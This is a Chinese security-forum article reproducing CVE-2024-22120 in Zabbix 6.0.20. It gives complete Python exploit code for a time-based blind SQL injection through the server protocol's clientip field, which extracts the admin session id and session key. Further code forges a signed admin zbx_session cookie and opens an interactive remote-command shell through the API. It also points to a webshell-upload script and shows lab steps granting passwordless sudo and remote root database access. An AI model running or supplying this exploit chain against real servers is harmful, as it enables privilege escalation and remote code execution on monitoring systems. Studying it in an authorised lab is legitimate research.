问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
浅聊CVE-2024-22120:Zabbix低权限SQL注入至RCE+权限绕过
渗透测试
Zabbix低权限SQL注入至RCE+权限绕过,可惜没找到关于传webshell的好方法,如有大神告知,感激万分!
本文中所有代码以及后续更新都会放在我的`github`仓库中: > <https://github.com/W01fh4cker/CVE-2024-22120-RCE> 一、漏洞环境搭建 ======== 1.1 下载vmware镜像并设置 ----------------- 源码地址: > <https://cdn.zabbix.com/zabbix/sources/stable/6.0/zabbix-6.0.20.tar.gz> `Eclipse`搭建调试环境的参考文章: > [https://mp.weixin.qq.com/s/dBLFvkm6oV\_5AMLuwcvuLQ](https://mp.weixin.qq.com/s/dBLFvkm6oV_5AMLuwcvuLQ) 直接懒人一键搭建: > [https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix\_appliance-6.0.20-vmx.tar.gz](https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz) 解压之后,`vmware`直接打开`vmx`文件,默认账号密码是`root`/`zabbix`。 登录之后执行命令`visudo`,在底下添加一行: ```php zabbix ALL=(ALL) NOPASSWD:ALL ``` ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-3f7e84309b5b5f2f3d322ae765897b151973b2f4.png) 如果后续在`web`界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试,反正我只加这一行就行了: > <https://www.cnblogs.com/gqdw/p/3844881.html> 为了方便测试,我们可以本地`navicat`连接环境的`mysql`数据库: ```shell mysql -uroot SET PASSWORD = 'zabbix'; use mysql; select host, user from user; update user set host = '%' where user ='root'; FLUSH PRIVILEGES; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; exit /sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT yum install policycoreutils -y service iptables save ``` 1.2 漏洞环境设置 ---------- 然后就是需要一些设置,首先需要添加一个用户,但是默认的`User Role`是没有`HOSTS`的查看权限的,所以需要先去开权限: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-1e52cf58b217343813f7eeea8b744e6d074cf56b.png) ![](https://cdn.jsdelivr.net/gh/W01fh4cker/blog_image@main/image-20240519220908145.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-8a6ee20391f6224162c14a497ad496bbaa5cf9c8.png) 然后至少给一个读的权限,并点击`Add`: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-21b3c24a830825c80cbc675346f01a40c0d62116.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-15fd5e04fd656b6e659a32a81a83364d963e4a38.png) 现在开始添加用户: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-fc3a4be5ea6854669e195f98c4eca24213f22335.png) 组就选我们刚刚设置过的`Guests`: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-15ead937927a54f09d33154b48e9deba3aeab9fd.png) 角色选择`User Role`: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7938198e070f7c1c47fc14ef1272b74424837567.png) 为什么说这个漏洞鸡肋呢,提交漏洞的作者说了,需要一个低权限用户,并且该用户需要具有`Detect operating system`的权限,但是这个操作默认的是没有的,只有管理员用户组才有: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-005a5ca6a306f5238c996b8d90a124ff290314fb.png) 需要手动设置用户组为全部或者Guests: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-9ba7a505f957587503c0b8da9c70546209d7cfc8.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7ca45b8ed979b87870252be5c0ce9148e1b3c11d.png) 到这里就可以了,然后按照作者给出的复现步骤复现即可: > <https://support.zabbix.com/browse/ZBX-24505> 二、漏洞复现 ====== 2.1 验证漏洞存在并获取管理员session id和session key -------------------------------------- 作者给出的脚本如下: > [https://support.zabbix.com/secure/attachment/236280/zabbix\_server\_time\_based\_blind\_sqli.py](https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py) 他说可以延迟获取管理员的`session id`,但是我本地复现的时候获取的全`0`: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-5047da969b6d2289d5f578439d982983d8911925.png) 登录数据库发现,有多个`sessionid`,需要加一个`limit 1`: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7655e4ba2102ac084bb81c9fd2b6afb30416b53a.png) 因此我们可以修改代码如下: ```python import json import argparse from pwn import * from datetime import datetime def send_message(ip, port, sid, hostid, injection): zbx_header = "ZBXD\x01".encode() message = { "request": "command", "sid": sid, "scriptid": "3", "clientip": "' + " + injection + "+ '", "hostid": hostid } message_json = json.dumps(message) message_length = struct.pack('<q', len(message_json)) message = zbx_header + message_length + message_json.encode() #print("Sending message %s" % message) r = remote(ip, port, level='debug') r.send(message) response = r.recv(1024) r.close() print(response) def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true): session_id = "" token_length = 32 for i in range(1, token_length+1): for c in string.digits + "abcdef": print("\n(+) trying c=%s" % c, end="", flush=True) before_query = datetime.now().timestamp() query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false) send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() if time_true > (after_query-before_query) > time_false: continue else: session_id += c print("(+) session_id=%s" % session_id, end="", flush=True) break print("\n") return session_id def extract_config_session_key(ip, port, sid, hostid, time_false, time_true): token = "" token_length = 32 for i in range(1, token_length+1): for c in string.digits + "abcdef": print("\n(+) trying c=%s" % c, end="", flush=True) before_query = datetime.now().timestamp() query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false) send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() if time_true > (after_query-before_query) > time_false: continue else: token += c print("(+) session_key=%s" % token, end="", flush=True) break print("\n") return token def tiny_poc(ip, port, sid, hostid): print("(+) Running simple PoC...\n", end="", flush=True) print("(+) Sleeping for 1 sec...\n", end="", flush=True) before_query = datetime.now().timestamp() query = "(select sleep(1))" send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() print("(+) Request time: %d\n" % (after_query-before_query)) print("(+) Sleeping for 5 sec...\n", end="", flush=True) before_query = datetime.now().timestamp() query = "(select sleep(5))" send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() print("(+) Request time: %d\n" % (after_query - before_query)) print("(+) Sleeping for 10 sec...\n", end="", flush=True) before_query = datetime.now().timestamp() query = "(select sleep(10))" send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() print("(+) Request time: %d\n" % (after_query - before_query)) def poc_to_check_in_zabbix_log(ip, port, sid, hostid): print("(+) Sending SQL request for MySQL version...\n", end="", flush=True) query = "(version())" send_message(ip, port, sid, hostid, query) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Command-line option parser example') parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1") parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10") parser.add_argument("--ip", help="Zabbix server IP") parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051") parser.add_argument("--sid", help="Session ID of low privileged user") parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid") parser.add_argument("--poc", action='store_true', help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server", default=False) parser.add_argument("--poc2", action='store_true', help="Use this key to simply generate error in zabbix logs, check logs later to see results", default=False) args = parser.parse_args() if args.poc: tiny_poc(args.ip, int(args.port), args.sid, args.hostid) elif args.poc2: poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid) else: print("(+) Extracting Zabbix config session key...\n", end="", flush=True) config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time)) print("(+) config session_key=%s\n" % config_session_key, end="", flush=True) print("(+) Extracting admin session_id...") admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time)) print("(+) admin session_id=%s\n" % admin_sessionid, end="", flush=True) print("(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key" % (config_session_key, admin_sessionid)) ``` 这样就可以正确获取啦: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-42c3a86d02830a42f478b19a30b3942322ede40f.png) 有了这个就可以实现`RCE`了,请看后文。 然后是`poc2`: ```shell python main.py --ip 192.168.198.136 --sid 4d2b6a02bfe2bc7d6fde50e8fe646621 --hostid 10084 LOG_LEVEL=error --poc2 ``` 然后查看日志: ```shell cat /var/log/zabbix/zabbix_server.log | grep "version()" ``` ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-8d30a1c065ed84f5a505ea8f9dca05b3c3af1b2d.png) 2.2 利用获取到的管理员session id实现RCE ---------------------------- ```python import requests import json ZABIX_ROOT = "http://192.168.198.136" url = ZABIX_ROOT + "/api_jsonrpc.php" host_id = "10084" session_id = "00000000000000000000000000000000" headers = { "content-type": "application/json", } auth = json.loads('{"jsonrpc": "2.0", "result": "' + session_id + '", "id": 0}') while True: cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ') if cmd == "": print("Result of last command:") elif cmd == "quit": break payload = { "jsonrpc": "2.0", "method": "script.update", "params": { "scriptid": "1", "command": "" + cmd + "" }, "auth": auth['result'], "id": 0, } cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers) payload = { "jsonrpc": "2.0", "method": "script.execute", "params": { "scriptid": "1", "hostid": "" + host_id + "" }, "auth": auth['result'], "id": 0, } cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers) cmd_exe_json = cmd_exe.json() if "error" not in cmd_exe.text: print(cmd_exe_json["result"]["value"]) else: print(cmd_exe_json["error"]["data"]) ``` 2.3 利用获取到的管理员session id和session key构造zbx\_session登录管理界面 ------------------------------------------------------- 作者在报告中提了一嘴`有session_id和session_key就可以得到sign值,然后就可以拼出zbx_session`: 网上也没找到相应的成品代码,那就去翻源码。 `zabbix-6.0.20\ui\include\classes\core\CCookieSession.php`这里面的代码是用来处理和`session`相关的操作的,代码也是写的通俗易懂: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-a1a9c28e54ca78e4e876ccbfbe8c5c2648352c8a.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d6a1e41e883c05143591da30d36ffc13d375fb38.png) 就是做一个`SHA256`的`hash`操作,那感情好啊,直接写出`php`形式的`poc`: ```php <?php function sign(string $data): string { $key = "927f855d3388d6daedb153d3de864970"; return hash_hmac("sha256", $data, $key); } function prepareData(array $data): string { $data['sign'] = sign(json_encode($data)); return base64_encode(json_encode($data)); } function set(string $key, $value):array { $_SESSION[$key] = $value; return $_SESSION; } set("sessionid", "be52fe697c5935099d441f03c5c68bff"); set("serverCheckResult", true); $session_ = set("serverCheckTime", time()); $res = prepareData($session_); echo $res; ?> ``` 改成`python`代码的时候需要注意字典的`item`的位置问题,示例代码如下: ```python def GenerateAdminSession(sessionid, session_key): def sign(data: str) -> str: key = session_key.encode() return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest() def prepare_data(data: dict) -> str: sorted_data = OrderedDict(data.items()) sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':'))) return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8') session = { "sessionid": sessionid, "serverCheckResult": True, "serverCheckTime": int(time.time()) } res = prepare_data(session) return res ``` 完整的代码: ```python import hmac import json import argparse import requests from pwn import * from datetime import datetime def SendMessage(ip, port, sid, hostid, injection): context.log_level = "CRITICAL" zbx_header = "ZBXD\x01".encode() message = { "request": "command", "sid": sid, "scriptid": "1", "clientip": "' + " + injection + "+ '", "hostid": hostid } message_json = json.dumps(message) message_length = struct.pack('<q', len(message_json)) message = zbx_header + message_length + message_json.encode() r = remote(ip, port, level="CRITICAL") r.send(message) r.recv(1024) r.close() def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true): token = "" token_length = 32 for i in range(1, token_length+1): for c in string.digits + "abcdef": before_query = datetime.now().timestamp() query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false) SendMessage(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() if time_true > (after_query-before_query) > time_false: continue else: token += c print("(+) session_key=%s" % token, flush=True) break return token def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true): session_id = "" token_length = 32 for i in range(1, token_length+1): for c in string.digits + "abcdef": before_query = datetime.now().timestamp() query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false) SendMessage(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() if time_true > (after_query-before_query) > time_false: continue else: session_id += c print("(+) session_id=%s" % session_id, flush=True) break return session_id def GenerateAdminSession(sessionid, session_key): def sign(data: str) -> str: key = session_key.encode() return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest() def prepare_data(data: dict) -> str: sorted_data = OrderedDict(data.items()) sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':'))) return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8') session = { "sessionid": sessionid, "serverCheckResult": True, "serverCheckTime": int(time.time()) } res = prepare_data(session) return res def CheckAdminSession(ip, admin_session): proxy = { "https": "http://127.0.0.1:8083", "http": "http://127.0.0.1:8083" } url = f"http://{ip}/zabbix.php?action=dashboard.view" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Cookie": f"zbx_session={admin_session}" } resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy) if "Administration" in resp.text and resp.status_code == 200: return admin_session else: return None if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin") parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1") parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10") parser.add_argument("--ip", help="Zabbix server IP") parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051") parser.add_argument("--sid", help="Session ID of low privileged user") parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid") args = parser.parse_args() admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time)) session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time)) admin_session = GenerateAdminSession(admin_sessionid, session_key) res = CheckAdminSession(args.ip, admin_session) if res is not None: print(f"try replace cookie with:\nzbx_session={res}") else: print("failed") ``` 完整的演示效果如下: 可以看到这里是用户`vulntest`的界面: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f3c2afebea733aa9d154aeab33546b10f2e9d429.png) 然后运行拿到`session`: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-486b7ed2269858dae1f0f3283c415dd9fbb25e3a.png) 替换`cookie`中对应的参数,然后刷新: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-1bc243c4a82804d5c07305e211c5652e273d5227.png) 即可看到是`Zabbix Administrator`了,实现了从用户界面到管理界面的转换: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-99d45a6b10e401e7284d1bb544f521890cb46c36.png) 2.4 写Webshell ------------- 没有花时间研究其他办法了,因为运行用户是`zabbix`,等级太低了,所以默认情况下是没权限去`echo`写马的,但是我还是把对应的脚本传上去了: > <https://github.com/W01fh4cker/CVE-2024-22120-RCE/blob/main/CVE-2024-22120-Webshell.py> ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-99a50c30d596a7df353f0062e662659c9a199a3a.png) 网上对于这方面的研究不多,看到一篇灼剑安全团队的`N0r4h`师傅写的文章: > [https://mp.weixin.qq.com/s/XKhmivS1\_TarPD5yKgzQwA](https://mp.weixin.qq.com/s/XKhmivS1_TarPD5yKgzQwA) 他也提到了无法直接`echo`写马,但是他当时遇到的环境是存在`pkexec`的,所以有了后续的利用。 ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-ebee43c95224b5ef916a0da3d0b9c482ee4e5357.png) 但是默认肯定是没有的: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-5f973eba01db70ebf4a5e3646787febe0dce03a0.png) 三、代码分析(略) ========= 最近重心不在这,就不花时间仔细调试了,问题出在如下位置: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f7515e53b6f9ae8372c49c8d28ab7ddfa55249a4.png) `L0ne1y`师傅在他的公众号【安全之道】上发布了详细的代码分析过程,大家可以参考: > <https://mp.weixin.qq.com/s/qUr58Dez4lnlaTyg2BilUg>
发表于 2024-05-22 14:07:57
阅读 ( 18196 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
W01fh4cker
登山爱好者
5 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!